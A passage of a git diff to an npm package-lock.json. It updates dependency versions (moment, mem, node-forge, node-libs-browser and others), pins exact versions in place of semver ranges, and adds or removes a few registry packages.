"integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==",
"dev": true,
"requires": {
- "pify": "^3.0.0"
+ "pify": "3.0.0"
},
"dependencies": {
"pify": {
@@ -9809,13 +10423,19 @@
}
}
},
+ "mamacro": {
+ "version": "0.0.3",
+ "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz",
+ "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==",
+ "dev": true
+ },
"map-age-cleaner": {
- "version": "0.1.2",
- "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.2.tgz",
- "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==",
+ "version": "0.1.3",
+ "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz",
+ "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==",
"dev": true,
"requires": {
- "p-defer": "^1.0.0"
+ "p-defer": "1.0.0"
}
},
"map-cache": {
@@ -9835,7 +10455,7 @@
"integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
"dev": true,
"requires": {
- "object-visit": "^1.0.0"
+ "object-visit": "1.0.1"
}
},
"md5.js": {
@@ -9844,15 +10464,15 @@
"integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
"dev": true,
"requires": {
- "hash-base": "^3.0.0",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.1.2"
+ "hash-base": "3.0.4",
+ "inherits": "2.0.3",
+ "safe-buffer": "5.2.0"
},
"dependencies": {
"safe-buffer": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
+ "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==",
"dev": true
}
}
@@ -9864,12 +10484,22 @@
"dev": true
},
"mem": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz",
- "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz",
+ "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==",
"dev": true,
"requires": {
- "mimic-fn": "^1.0.0"
+ "map-age-cleaner": "0.1.3",
+ "mimic-fn": "2.1.0",
+ "p-is-promise": "2.1.0"
+ },
+ "dependencies": {
+ "mimic-fn": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
+ "dev": true
+ }
}
},
"memory-fs": {
@@ -9878,8 +10508,8 @@
"integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=",
"dev": true,
"requires": {
- "errno": "^0.1.3",
- "readable-stream": "^2.0.1"
+ "errno": "0.1.7",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -9900,13 +10530,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -9915,7 +10545,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -9925,16 +10555,16 @@
"resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz",
"integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=",
"requires": {
- "camelcase-keys": "^2.0.0",
- "decamelize": "^1.1.2",
- "loud-rejection": "^1.0.0",
- "map-obj": "^1.0.1",
- "minimist": "^1.1.3",
- "normalize-package-data": "^2.3.4",
- "object-assign": "^4.0.1",
- "read-pkg-up": "^1.0.1",
- "redent": "^1.0.0",
- "trim-newlines": "^1.0.0"
+ "camelcase-keys": "2.1.0",
+ "decamelize": "1.2.0",
+ "loud-rejection": "1.6.0",
+ "map-obj": "1.0.1",
+ "minimist": "1.2.0",
+ "normalize-package-data": "2.4.0",
+ "object-assign": "4.1.1",
+ "read-pkg-up": "1.0.1",
+ "redent": "1.0.0",
+ "trim-newlines": "1.0.0"
}
},
"merge-descriptors": {
@@ -9956,19 +10586,19 @@
"dev": true,
"optional": true,
"requires": {
- "arr-diff": "^2.0.0",
- "array-unique": "^0.2.1",
- "braces": "^1.8.2",
- "expand-brackets": "^0.1.4",
- "extglob": "^0.3.1",
- "filename-regex": "^2.0.0",
- "is-extglob": "^1.0.0",
- "is-glob": "^2.0.1",
- "kind-of": "^3.0.2",
- "normalize-path": "^2.0.1",
- "object.omit": "^2.0.0",
- "parse-glob": "^3.0.4",
- "regex-cache": "^0.4.2"
+ "arr-diff": "2.0.0",
+ "array-unique": "0.2.1",
+ "braces": "1.8.5",
+ "expand-brackets": "0.1.5",
+ "extglob": "0.3.2",
+ "filename-regex": "2.0.1",
+ "is-extglob": "1.0.0",
+ "is-glob": "2.0.1",
+ "kind-of": "3.2.2",
+ "normalize-path": "2.1.1",
+ "object.omit": "2.0.1",
+ "parse-glob": "3.0.4",
+ "regex-cache": "0.4.3"
}
},
"miller-rabin": {
@@ -9977,8 +10607,8 @@
"integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==",
"dev": true,
"requires": {
- "bn.js": "^4.0.0",
- "brorand": "^1.0.1"
+ "bn.js": "4.11.8",
+ "brorand": "1.1.0"
}
},
"mime": {
@@ -9997,7 +10627,7 @@
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.16.tgz",
"integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=",
"requires": {
- "mime-db": "~1.29.0"
+ "mime-db": "1.29.0"
}
},
"mimic-fn": {
@@ -10012,7 +10642,7 @@
"integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=",
"dev": true,
"requires": {
- "dom-walk": "^0.1.0"
+ "dom-walk": "0.1.1"
}
},
"minimalistic-assert": {
@@ -10032,7 +10662,7 @@
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
"integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
"requires": {
- "brace-expansion": "^1.1.7"
+ "brace-expansion": "1.1.8"
}
},
"minimist": {
@@ -10041,31 +10671,31 @@
"integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ="
},
"mississippi": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz",
- "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
+ "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==",
"dev": true,
"requires": {
- "concat-stream": "^1.5.0",
- "duplexify": "^3.4.2",
- "end-of-stream": "^1.1.0",
- "flush-write-stream": "^1.0.0",
- "from2": "^2.1.0",
- "parallel-transform": "^1.1.0",
- "pump": "^2.0.1",
- "pumpify": "^1.3.3",
- "stream-each": "^1.1.0",
- "through2": "^2.0.0"
+ "concat-stream": "1.6.0",
+ "duplexify": "3.7.1",
+ "end-of-stream": "1.4.1",
+ "flush-write-stream": "1.1.1",
+ "from2": "2.3.0",
+ "parallel-transform": "1.2.0",
+ "pump": "3.0.0",
+ "pumpify": "1.5.1",
+ "stream-each": "1.2.3",
+ "through2": "2.0.5"
}
},
"mixin-deep": {
- "version": "1.3.1",
- "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz",
- "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==",
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
"dev": true,
"requires": {
- "for-in": "^1.0.2",
- "is-extendable": "^1.0.1"
+ "for-in": "1.0.2",
+ "is-extendable": "1.0.1"
},
"dependencies": {
"is-extendable": {
@@ -10074,27 +10704,11 @@
"integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
"dev": true,
"requires": {
- "is-plain-object": "^2.0.4"
+ "is-plain-object": "2.0.4"
}
}
}
},
- "mixin-object": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz",
- "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=",
- "requires": {
- "for-in": "^0.1.3",
- "is-extendable": "^0.1.1"
- },
- "dependencies": {
- "for-in": {
- "version": "0.1.8",
- "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz",
- "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE="
- }
- }
- },
"mkdirp": {
"version": "0.5.1",
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
@@ -10144,12 +10758,12 @@
"integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==",
"dev": true,
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"has-flag": {
@@ -10164,15 +10778,15 @@
"integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"moment": {
- "version": "2.22.2",
- "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz",
- "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y="
+ "version": "2.24.0",
+ "resolved": "https://registry.npmjs.org/moment/-/moment-2.24.0.tgz",
+ "integrity": "sha512-bV7f+6l2QigeBBZSM/6yTNq4P2fNpSWj/0e7jQcy87A8e7o2nAfP/34/2ky5Vw4B9S446EtIhodAzkFCcR4dQg=="
},
"move-concurrently": {
"version": "1.0.1",
@@ -10180,12 +10794,12 @@
"integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=",
"dev": true,
"requires": {
- "aproba": "^1.1.1",
- "copy-concurrently": "^1.0.0",
- "fs-write-stream-atomic": "^1.0.8",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.3"
+ "aproba": "1.2.0",
+ "copy-concurrently": "1.0.5",
+ "fs-write-stream-atomic": "1.0.10",
+ "mkdirp": "0.5.1",
+ "rimraf": "2.7.1",
+ "run-queue": "1.0.3"
}
},
"ms": {
@@ -10200,8 +10814,8 @@
"integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==",
"dev": true,
"requires": {
- "dns-packet": "^1.3.1",
- "thunky": "^1.0.2"
+ "dns-packet": "1.3.1",
+ "thunky": "1.0.3"
}
},
"multicast-dns-service-types": {
@@ -10223,23 +10837,28 @@
"dev": true,
"optional": true
},
+ "nanoid": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.1.tgz",
+ "integrity": "sha512-0YbJdaL4JFoejIOoawgLcYValFGJ2iyUuVDIWL3g8Es87SSOWFbWdRUMV3VMSiyPs3SQ3QxCIxFX00q5DLkMCw=="
+ },
"nanomatch": {
"version": "1.2.13",
"resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
"integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "fragment-cache": "^0.2.1",
- "is-windows": "^1.0.2",
- "kind-of": "^6.0.2",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "fragment-cache": "0.2.1",
+ "is-windows": "1.0.2",
+ "kind-of": "6.0.2",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"arr-diff": {
@@ -10269,15 +10888,15 @@
"dev": true
},
"negotiator": {
- "version": "0.6.1",
- "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz",
- "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=",
+ "version": "0.6.2",
+ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz",
+ "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==",
"dev": true
},
"neo-async": {
- "version": "2.5.2",
- "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz",
- "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw=="
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz",
+ "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw=="
},
"next-tick": {
"version": "1.0.0",
@@ -10297,7 +10916,7 @@
"integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==",
"dev": true,
"requires": {
- "lower-case": "^1.1.1"
+ "lower-case": "1.1.4"
}
},
"node-fetch": {
@@ -10305,14 +10924,14 @@
"resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz",
"integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==",
"requires": {
- "encoding": "^0.1.11",
- "is-stream": "^1.0.1"
+ "encoding": "0.1.12",
+ "is-stream": "1.1.0"
}
},
"node-forge": {
- "version": "0.7.5",
- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.7.5.tgz",
- "integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==",
+ "version": "0.8.2",
+ "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.8.2.tgz",
+ "integrity": "sha512-mXQ9GBq1N3uDCyV1pdSzgIguwgtVpM7f5/5J4ipz12PKWElmPpVWLDuWl8iXmhysr21+WmX/OJ5UKx82wjomgg==",
"dev": true
},
"node-gyp": {
@@ -10320,18 +10939,18 @@
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz",
"integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==",
"requires": {
- "fstream": "^1.0.0",
- "glob": "^7.0.3",
- "graceful-fs": "^4.1.2",
- "mkdirp": "^0.5.0",
- "nopt": "2 || 3",
- "npmlog": "0 || 1 || 2 || 3 || 4",
- "osenv": "0",
- "request": "^2.87.0",
- "rimraf": "2",
- "semver": "~5.3.0",
- "tar": "^2.0.0",
- "which": "1"
+ "fstream": "1.0.12",
+ "glob": "7.1.4",
+ "graceful-fs": "4.1.11",
+ "mkdirp": "0.5.1",
+ "nopt": "3.0.6",
+ "npmlog": "4.1.2",
+ "osenv": "0.1.5",
+ "request": "2.88.0",
+ "rimraf": "2.7.1",
+ "semver": "5.3.0",
+ "tar": "2.2.2",
+ "which": "1.3.0"
},
"dependencies": {
"ajv": {
@@ -10339,10 +10958,10 @@
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
"requires": {
- "fast-deep-equal": "^2.0.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
}
},
"aws4": {
@@ -10365,8 +10984,8 @@
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": {
- "ajv": "^6.5.5",
- "har-schema": "^2.0.0"
+ "ajv": "6.10.0",
+ "har-schema": "2.0.0"
}
},
"json-schema-traverse": {
@@ -10402,26 +11021,26 @@
"resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
"integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
"requires": {
- "aws-sign2": "~0.7.0",
- "aws4": "^1.8.0",
- "caseless": "~0.12.0",
- "combined-stream": "~1.0.6",
- "extend": "~3.0.2",
- "forever-agent": "~0.6.1",
- "form-data": "~2.3.2",
- "har-validator": "~5.1.0",
- "http-signature": "~1.2.0",
- "is-typedarray": "~1.0.0",
- "isstream": "~0.1.2",
- "json-stringify-safe": "~5.0.1",
- "mime-types": "~2.1.19",
- "oauth-sign": "~0.9.0",
- "performance-now": "^2.1.0",
- "qs": "~6.5.2",
- "safe-buffer": "^5.1.2",
- "tough-cookie": "~2.4.3",
- "tunnel-agent": "^0.6.0",
- "uuid": "^3.3.2"
+ "aws-sign2": "0.7.0",
+ "aws4": "1.8.0",
+ "caseless": "0.12.0",
+ "combined-stream": "1.0.6",
+ "extend": "3.0.2",
+ "forever-agent": "0.6.1",
+ "form-data": "2.3.2",
+ "har-validator": "5.1.3",
+ "http-signature": "1.2.0",
+ "is-typedarray": "1.0.0",
+ "isstream": "0.1.2",
+ "json-stringify-safe": "5.0.1",
+ "mime-types": "2.1.24",
+ "oauth-sign": "0.9.0",
+ "performance-now": "2.1.0",
+ "qs": "6.5.2",
+ "safe-buffer": "5.1.2",
+ "tough-cookie": "2.4.3",
+ "tunnel-agent": "0.6.0",
+ "uuid": "3.3.2"
}
},
"safe-buffer": {
@@ -10439,8 +11058,8 @@
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": {
- "psl": "^1.1.24",
- "punycode": "^1.4.1"
+ "psl": "1.1.32",
+ "punycode": "1.4.1"
}
},
"uuid": {
@@ -10451,52 +11070,57 @@
}
},
"node-libs-browser": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz",
- "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz",
+ "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==",
"dev": true,
"requires": {
- "assert": "^1.1.1",
- "browserify-zlib": "^0.2.0",
- "buffer": "^4.3.0",
- "console-browserify": "^1.1.0",
- "constants-browserify": "^1.0.0",
- "crypto-browserify": "^3.11.0",
- "domain-browser": "^1.1.1",
- "events": "^1.0.0",
- "https-browserify": "^1.0.0",
- "os-browserify": "^0.3.0",
- "path-browserify": "0.0.0",
- "process": "^0.11.10",
- "punycode": "^1.2.4",
- "querystring-es3": "^0.2.0",
- "readable-stream": "^2.3.3",
- "stream-browserify": "^2.0.1",
- "stream-http": "^2.7.2",
- "string_decoder": "^1.0.0",
- "timers-browserify": "^2.0.4",
+ "assert": "1.5.0",
+ "browserify-zlib": "0.2.0",
+ "buffer": "4.9.1",
+ "console-browserify": "1.1.0",
+ "constants-browserify": "1.0.0",
+ "crypto-browserify": "3.12.0",
+ "domain-browser": "1.2.0",
+ "events": "3.0.0",
+ "https-browserify": "1.0.0",
+ "os-browserify": "0.3.0",
+ "path-browserify": "0.0.1",
+ "process": "0.11.10",
+ "punycode": "1.4.1",
+ "querystring-es3": "0.2.1",
+ "readable-stream": "2.3.6",
+ "stream-browserify": "2.0.2",
+ "stream-http": "2.8.3",
+ "string_decoder": "1.3.0",
+ "timers-browserify": "2.0.11",
"tty-browserify": "0.0.0",
- "url": "^0.11.0",
- "util": "^0.10.3",
- "vm-browserify": "0.0.4"
+ "url": "0.11.0",
+ "util": "0.11.1",
+ "vm-browserify": "1.1.0"
},
"dependencies": {
+ "buffer": {
+ "version": "4.9.1",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz",
+ "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=",
+ "dev": true,
+ "requires": {
+ "base64-js": "1.3.1",
+ "ieee754": "1.1.13",
+ "isarray": "1.0.0"
+ }
+ },
"isarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
"dev": true
},
- "process": {
- "version": "0.11.10",
- "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
- "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=",
- "dev": true
- },
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -10505,22 +11129,41 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ },
+ "dependencies": {
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "5.1.1"
+ }
+ }
}
},
"string_decoder": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+ "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.2.0"
+ },
+ "dependencies": {
+ "safe-buffer": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
+ "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==",
+ "dev": true
+ }
}
}
}
@@ -10530,23 +11173,23 @@
"resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz",
"integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==",
"requires": {
- "async-foreach": "^0.1.3",
- "chalk": "^1.1.1",
- "cross-spawn": "^3.0.0",
- "gaze": "^1.0.0",
- "get-stdin": "^4.0.1",
- "glob": "^7.0.3",
- "in-publish": "^2.0.0",
- "lodash": "^4.17.11",
- "meow": "^3.7.0",
- "mkdirp": "^0.5.1",
- "nan": "^2.13.2",
- "node-gyp": "^3.8.0",
- "npmlog": "^4.0.0",
- "request": "^2.88.0",
- "sass-graph": "^2.2.4",
- "stdout-stream": "^1.4.0",
- "true-case-path": "^1.0.2"
+ "async-foreach": "0.1.3",
+ "chalk": "1.1.3",
+ "cross-spawn": "3.0.1",
+ "gaze": "1.1.3",
+ "get-stdin": "4.0.1",
+ "glob": "7.1.4",
+ "in-publish": "2.0.0",
+ "lodash": "4.17.11",
+ "meow": "3.7.0",
+ "mkdirp": "0.5.1",
+ "nan": "2.14.0",
+ "node-gyp": "3.8.0",
+ "npmlog": "4.1.2",
+ "request": "2.88.0",
